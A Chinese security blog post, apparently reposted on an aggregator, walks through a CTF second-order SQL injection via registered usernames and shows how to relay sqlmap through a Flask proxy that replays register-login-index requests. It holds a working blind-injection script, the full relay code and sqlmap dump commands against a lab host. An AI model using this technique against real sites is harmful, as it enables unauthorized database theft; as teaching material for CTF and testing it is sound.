服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

SQL 注入进阶:FLASK 加工中转 SQLMAP 流量

日期: 来源:LemonSec收集编辑:r0yanx

本文仅作为技术讨论及分享,严禁用于任何非法用途。

前言

在渗透工作中我们经常能碰到一些逻辑复杂的 SQL 注入漏洞,并不能直接通过 sqlmap 工具注入拿到结果。今年网鼎杯的一道 SQL 注入题 “张三的网站” 让我久久不能忘怀,我不断思考遇到这类型的 SQL 注入除了手工注入然后编写脚本一点一点脱数据以外,有没有一个比较优雅的解决方案呢?

一道 CTF 题的思考

先来说说 “张三的网站” 这道题目,因为我手上没有题目源码,所以就根据记忆中的各个功能自己写了一个(很少写 php,代码很烂),相关代码已经上传到 GitHub,见文章底部。

该题目主要涉及 3 个页面:

  1. 登陆页面

  2. 注册页面

  3. 登陆后的主页


题目中的登陆页面、注册页面均无 SQL 注入漏洞,但是登陆后的主页在用户名处存在 SQL 注入漏洞。要利用此漏洞,需要在注册页面控制用户名,邮箱使用随机数生成的邮箱,密码随意,然后使用邮箱和注册时的密码登陆,登陆成功后跳转到主页,此时触发 SQL 注入漏洞。
注册名为 “123” 的用户:




注册名为 “123’” 的用户:


以下是一个 Python 脚本手工注入的解法:

import requestsimport randomimport reimport string
proxy = {'http': '127.0.0.1:8080'}session = requests.session()

def register(username, email, password='123'): burp0_url = "http://192.168.154.130:80/web/register.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"} burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''} r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)

def login(email, password='123'): burp0_url = "http://192.168.154.130:80/web/login.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"} burp0_data = {"email": email, "pw": password, "submit": ''} r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy) # 跳转首页 burp0_url = "http://192.168.154.130/web/index.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Referer": "http://a434051f6c184741b1ede6b610a15f805a546b5b172748e9.changame.ichunqiu.com/login.php", "Connection": "close", "Upgrade-Insecure-Requests": "1"} r2 = session.get(burp0_url, headers=burp0_headers, proxies=proxy) if r2.status_code == 302: print('username payload no work') elif r2.status_code == 200: pattern = '''<span class="user-name">(.+?)</span>''' try: userr = re.findall(pattern, r2.text, re.DOTALL)[0] if userr: return True else: return False except: return False



def main(): key = string.ascii_lowercase + string.digits + '{}_-' flag = '' for keynum in range(1, 43): for s in key: username = r"""'or(substr((select e.a from (select (select 1)a union select * from flag)e limit 2 offset 1) from {0} for 1) = '{1}') and '1""".format(keynum, s) email = '{}@qq.com'.format(int(random.random() * 10000000)) register(username, email) if login(email): flag += s print('key: ' + flag) break if __name__ == "__main__": main()

如果对 ctf 不熟悉的朋友应该会很懵,因为语句中直接查询获取了 flag 表中的内容,而正常情况下,我们是不知道真正的 flag 在上面表,这样的解法我个人觉得不具备通用性,当然了在 ctf 比赛中是很高效的。

那么,有没有可能通过 sqlmap 来进行注入呢?显然,直接使用 sqlmap 不进行二次开发是无法检测出注入点的,因为 sqlmap 的注入逻辑不支持多个数据包的逻辑处理。于是我在想有无一种办法,拿到 sqlmap 的注入检测 payload,然后我们通过 Python 编写相应的请求逻辑,再把响应结果返回到 sqlmap 呢?答案是可行的!

Flask 中转 sqlmap 注入

代码实现的结构如下,首先创建一个 flask 服务,接收 payload 参数的值,然后传入函数 custom_fun 中,custom_fun 函数由自己编写请求逻辑,把 payload 参数的值填入到存在注入点的参数中,然后发起请求,把最终响应结果 return 就行。最后通过 sqlmap 检测 URL:http://127.0.0.1:5000/?payload=1 即可,可以适当调整 sqlmap 的注入参数,比如 --level--risk--technique 等。

from flask import Flaskfrom flask import requestimport requestsimport random
def custom_fun(payload): return ''
app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])def index(): if request.method == 'GET': payload = request.args.get('payload') elif request.method == 'POST': payload = request.form.get('payload') return custom_fun(payload)
def main(): app.run(host='127.0.0.1', debug=True)

if __name__ == "__main__": main()

流程示意图如下:

完整注入过程

先来看看本例的实现代码:

from flask import Flaskfrom flask import requestimport requestsimport random

def custom_fun(payload): email = '{}@qq.com'.format(int(random.random() * 10000000)) username = payload password = '123' proxy = {'http': '127.0.0.1:8080'} session = requests.session() # 注册 burp0_url = "http://192.168.154.130:80/web/register.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"} burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''} resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy) # 登陆 burp0_url = "http://192.168.154.130:80/web/login.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"} burp0_data = {"email": email, "pw": password, "submit": ''} r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy) # 登陆后跳转到首页 burp0_url = "http://192.168.154.130/web/index.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"} resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy) resp.encoding = resp.apparent_encoding return resp.text
app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])def index(): if request.method == 'GET': payload = request.args.get('payload') elif request.method == 'POST': payload = request.form.get('payload') return custom_fun(payload)


def main(): app.run(host='127.0.0.1', debug=True)

if __name__ == "__main__": main()

从代码上可以看到,只需要把请求逻辑写到 custom_fun 函数中,把最终结果的响应包 return 给 flask,剩下的就可以交给 sqlmap 了,优雅!

这里说一个小技巧,可以使用 Burp 的拓展 Copy As Python-Requests 来一键把 burp 的请求复制为 Python requests 请求:



然后使用 sqlmap 测试一下,因为是通过本地 flask 中转,我们的 sqlmap 的 target 应该是本地的 flask 服务端口,命令如下:

sqlmap -u http://127.0.0.1:5000/?payload=1

检测时 flask 服务的输出:


成功检测到注入点:

当前数据库:

sqlmap -u http://127.0.0.1:5000/?payload=1 --current-db


跑表名:

sqlmap -u http://127.0.0.1:5000/?payload=1 -D test --tables


跑 flag 表数据:

sqlmap -u http://127.0.0.1:5000/?payload=1 -D test -T flag --dump

测试环境代码

GitHub:https://github.com/ryanInf/fakeZhangSan


作者:r0yanx,文章来源于:https://r0yanx.com


侵权请私聊公众号删文


 热文推荐  


欢迎关注LemonSec
觉得不错点个“赞”、“在看“

相关阅读

  • 干货|提权扫描工具一览

  • 使用Windows-Exploit-Suggester解析systeminfohttps://github.com/AonCyberLabs/Windows-Exploit-Suggester./windows-exploit-suggester.py使用Linux-Exploit-Suggester.sh
  • 我国科学家,又有新突破!

  • 我国科学家实现量子纠错新突破在中国科学院院士俞大鹏带领下,南方科技大学深圳量子科学与工程研究院超导量子计算实验室助理研究员徐源课题组联合福州大学教授郑仕标、清华大
  • 媒体融合下的UI交互设计与产品逻辑

  • 作者:张一飞,山东舜网传媒股份有限公司新媒体产品经理、副总工程师;宋迎雪,山东舜网传媒股份有限公司设计部编辑;李慧,山东舜网传媒股份有限公司设计部主任来源:《全媒体探索》2023
  • 2022年度CNNVD漏洞奖励评选结果公告

  • 扫码订阅《中国信息安全》邮发代号 2-786征订热线:010-82341063近期,CNNVD开展了2022年度接报漏洞奖励评选工作,其中13个漏洞在我国网络安全漏洞预警及风险消控工作中发挥了积
  • 我国科学家又有新突破!

  • 在中国科学院院士俞大鹏带领下,南方科技大学深圳量子科学与工程研究院超导量子计算实验室助理研究员徐源课题组联合福州大学教授郑仕标、清华大学副教授孙麓岩等组成的研究团
  • 南方科技大学,Nature

  • 本文来源 | iNatureiNature量子纠错(QEC)旨在通过使用大希尔伯特空间的冗余来保护逻辑量子位不受噪声的影响,该空间允许实时检测和纠正错误。在大多数QEC编码中,逻辑量子比特

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • 大棚黄瓜领“鲜”上市

  • 黄瓜大棚内一片生机勃勃的景象。种植户李颖丽在大棚里采摘黄瓜。采摘下来的黄瓜准备装箱、打包。菜农们穿梭在黄瓜大棚里进行采摘。青翠欲滴的黄瓜挂满瓜藤。近日,扎鲁特旗巴
  • 干货|提权扫描工具一览

  • 使用Windows-Exploit-Suggester解析systeminfohttps://github.com/AonCyberLabs/Windows-Exploit-Suggester./windows-exploit-suggester.py使用Linux-Exploit-Suggester.sh
  • SQL 注入进阶:FLASK 加工中转 SQLMAP 流量

  • 本文仅作为技术讨论及分享,严禁用于任何非法用途。前言在渗透工作中我们经常能碰到一些逻辑复杂的 SQL 注入漏洞,并不能直接通过 sqlmap 工具注入拿到结果。今年网鼎杯的一道
  • 20230323

  • 牧十条是1月写的,每过一段时间我会回头总结反思各种研判,对在哪里,错在哪里,底层逻辑有没有偏差。去年三月开始加息,到今年一年,但凡对经济有些研究的就知道,加息一年是不可能降息
  • 无视版权!白嫖全网免费畅享,低调使用!

  • 大家好,我是你们的好朋友大明,欢迎大家来到【大明青年】。今日分享最近大家问有没有听音乐的网站,因为不想下载软件占内存,还想听到不少的歌曲,大明满足你们的愿望。今天给大家带